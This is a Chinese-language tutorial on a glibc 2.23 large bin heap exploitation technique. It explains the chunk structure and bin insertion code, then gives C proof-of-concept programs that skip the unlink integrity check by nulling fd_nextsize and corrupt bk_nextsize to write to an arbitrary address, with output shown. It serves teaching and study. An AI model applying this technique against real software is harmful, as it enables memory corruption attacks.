large bin的一个漏洞
字数 1251 2025-08-29 08:32:24

Large Bin 漏洞分析与利用教学文档

一、漏洞背景与基础知识

1.1 malloc_chunk 结构

struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;    /* 前一个chunk的大小(如果前一个chunk是空闲的) */
    INTERNAL_SIZE_T size;         /* 包含开销的字节大小 */
    struct malloc_chunk* fd;      /* 双向链接 - 仅在空闲时使用 */
    struct malloc_chunk* bk;      /* 双向链接 - 仅在空闲时使用 */
    
    /* 仅用于large blocks: 指向下一个更大尺寸的指针 */
    struct malloc_chunk* fd_nextsize; 
    struct malloc_chunk* bk_nextsize;
};

关键字段说明:

  • fd_nextsizebk_nextsize:仅用于较大的chunk(large chunk)
    • fd_nextsize:指向前一个与当前chunk大小不同的第一个空闲块(不包含bin的头指针)
    • bk_nextsize:指向后一个与当前chunk大小不同的第一个空闲块(不包含bin的头指针)
  • 空闲的large chunk在fd遍历顺序中按由大到小的顺序排列

1.2 Large Bin 管理机制

  • ptmalloc使用bins管理空闲chunk
  • main_arena中有多个bin
  • 每个large bin存放一定范围内的chunk
  • 其中的chunk按fd指针顺序从大到小排列
  • 相同大小的chunk按最近使用顺序排列
  • 物理地址相邻的两个chunk不能在一起

二、漏洞原理分析

2.1 Large Bin 插入过程

当分配一个chunk时,会首先检查unsort bin,如果没有合适的chunk,就将unsort bin中的chunk脱链后加入到对应大小的bin中。

关键代码分析:

// 如果不是small bin,就放到large bin中
if (!in_smallbin_range(size)) {
    victim_index = largebin_index(size);
    bck = bin_at(av, victim_index);
    fwd = bck->fd;
    
    /* maintain large bins in sorted order */
    if (fwd != bck) {
        size |= PREV_INUSE;
        if ((unsigned long)(size) < (unsigned long)(bck->bk->size)) {
            // 处理比最小chunk还小的情况
            fwd = bck;
            bck = bck->bk;
            victim->fd_nextsize = fwd->fd;
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        } else {
            // 正常插入逻辑
            while ((unsigned long)size < fwd->size) {
                fwd = fwd->fd_nextsize;
            }
            if ((unsigned long)size == (unsigned long)fwd->size) {
                // 相同大小插入到第二个位置
                fwd = fwd->fd;
            } else {
                // 不同大小插入
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk;
        }
    } else {
        victim->fd_nextsize = victim->bk_nextsize = victim;
    }
    
    mark_bin(av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
}

2.2 漏洞触发点

关键操作:

  1. victim->bk_nextsize = fwd->bk_nextsize;
  2. fwd->bk_nextsize = victim;
  3. victim->bk_nextsize->fd_nextsize = victim;

合并效果:

  • fwd->bk_nextsize->fd_nextsize = victim
  • fwd->bk = victim

当large bin中只存在一个chunk时,通过堆溢出修改bk_nextsizebk字段,可以实现任意地址写。

三、漏洞利用方法

3.1 错误实例分析

#include <stdio.h>
#include <stdlib.h>

int main() {
    long long x = 0;
    char *p, *q, *r, *s;
    
    p = malloc(0x500); // 防止合并
    malloc(0);
    q = malloc(0x510); // 防止合并
    malloc(0);
    
    // 因为Large bin的遍历顺序是FIFO,所以下面的顺序不能反过来
    free(p);
    free(q); // p指向的chunk被放入了largebin
    
    r = malloc(0x510); // q
    // q指向的chunk被放入unsortedbin
    free(r);
    
    // fwd->bk_nextsize->fd_nextsize=victim
    *(void**)(p - 16 + 40) = &x - 4;
    
    s = malloc(0);
    return 0;
}

问题:无法通过unlink的双向链表完整性检查:

if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) 
    || __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
    malloc_printerr("corrupted double-linked list (not small)");

3.2 正确绕过方法

在执行双向链表完整性检查前有一个判断:

if (!in_smallbin_range(chunksize_nomask(P)) 
    && __builtin_expect(P->fd_nextsize != NULL, 0)) {
    // 检查代码
}

只要构造的chunk的fd_nextsize为NULL即可绕过检查。

3.3 正确利用实例

#include <stdio.h>
#include <stdlib.h>

int main() {
    long long x = 0;
    char *p, *q, *r, *s;
    
    p = malloc(0x500); // 防止合并
    malloc(0);
    q = malloc(0x510); // 防止合并
    malloc(0);
    
    // 因为Large bin的遍历顺序是FIFO,所以下面的顺序不能反过来
    free(p);
    free(q); // p指向的chunk被放入了largebin
    
    r = malloc(0x510); // q
    // q指向的chunk被放入unsortedbin
    free(r);
    
    fprintf(stderr, "x : %lld\n", x);
    
    // P->fd_nextsize=NULL
    *(void**)(p - 16 + 32) = NULL;
    // P->bk_nextsize->fd_nextsize=victim
    *(void**)(p - 16 + 40) = &x - 4;
    
    s = malloc(0);
    fprintf(stderr, "x : %lld\n", x);
    return 0;
}

运行结果:

x : 0
x : 20276528

四、关键点总结

  1. Large Bin结构:理解large bin中chunk的排列方式和fd_nextsize/bk_nextsize指针的作用
  2. 插入逻辑:掌握large bin插入新chunk时的指针操作流程
  3. 漏洞触发:利用堆溢出修改bk_nextsizebk字段实现任意地址写
  4. 绕过检查:通过设置fd_nextsize为NULL来绕过unlink的双向链表完整性检查
  5. 利用条件:large bin中需要只存在一个chunk时才能有效利用此漏洞

五、实验环境与注意事项

  1. 实验环境:glibc-2.23
  2. 对于glibc-2.26及以上版本,需要先绕过tcache机制
  3. 分配chunk时要注意防止合并
  4. Large bin的遍历顺序是FIFO,操作顺序不能反过来
  5. 调试是理解堆漏洞的关键手段
Large Bin 漏洞分析与利用教学文档 一、漏洞背景与基础知识 1.1 malloc_ chunk 结构 关键字段说明: fd_nextsize 和 bk_nextsize :仅用于较大的chunk(large chunk) fd_nextsize :指向前一个与当前chunk大小不同的第一个空闲块(不包含bin的头指针) bk_nextsize :指向后一个与当前chunk大小不同的第一个空闲块(不包含bin的头指针) 空闲的large chunk在fd遍历顺序中按由大到小的顺序排列 1.2 Large Bin 管理机制 ptmalloc使用bins管理空闲chunk main_ arena中有多个bin 每个large bin存放一定范围内的chunk 其中的chunk按fd指针顺序从大到小排列 相同大小的chunk按最近使用顺序排列 物理地址相邻的两个chunk不能在一起 二、漏洞原理分析 2.1 Large Bin 插入过程 当分配一个chunk时,会首先检查unsort bin,如果没有合适的chunk,就将unsort bin中的chunk脱链后加入到对应大小的bin中。 关键代码分析: 2.2 漏洞触发点 关键操作: victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; 合并效果: fwd->bk_nextsize->fd_nextsize = victim fwd->bk = victim 当large bin中只存在一个chunk时,通过堆溢出修改 bk_nextsize 和 bk 字段,可以实现任意地址写。 三、漏洞利用方法 3.1 错误实例分析 问题:无法通过unlink的双向链表完整性检查: 3.2 正确绕过方法 在执行双向链表完整性检查前有一个判断: 只要构造的chunk的 fd_nextsize 为NULL即可绕过检查。 3.3 正确利用实例 运行结果: 四、关键点总结 Large Bin结构 :理解large bin中chunk的排列方式和 fd_nextsize / bk_nextsize 指针的作用 插入逻辑 :掌握large bin插入新chunk时的指针操作流程 漏洞触发 :利用堆溢出修改 bk_nextsize 和 bk 字段实现任意地址写 绕过检查 :通过设置 fd_nextsize 为NULL来绕过unlink的双向链表完整性检查 利用条件 :large bin中需要只存在一个chunk时才能有效利用此漏洞 五、实验环境与注意事项 实验环境:glibc-2.23 对于glibc-2.26及以上版本,需要先绕过tcache机制 分配chunk时要注意防止合并 Large bin的遍历顺序是FIFO,操作顺序不能反过来 调试是理解堆漏洞的关键手段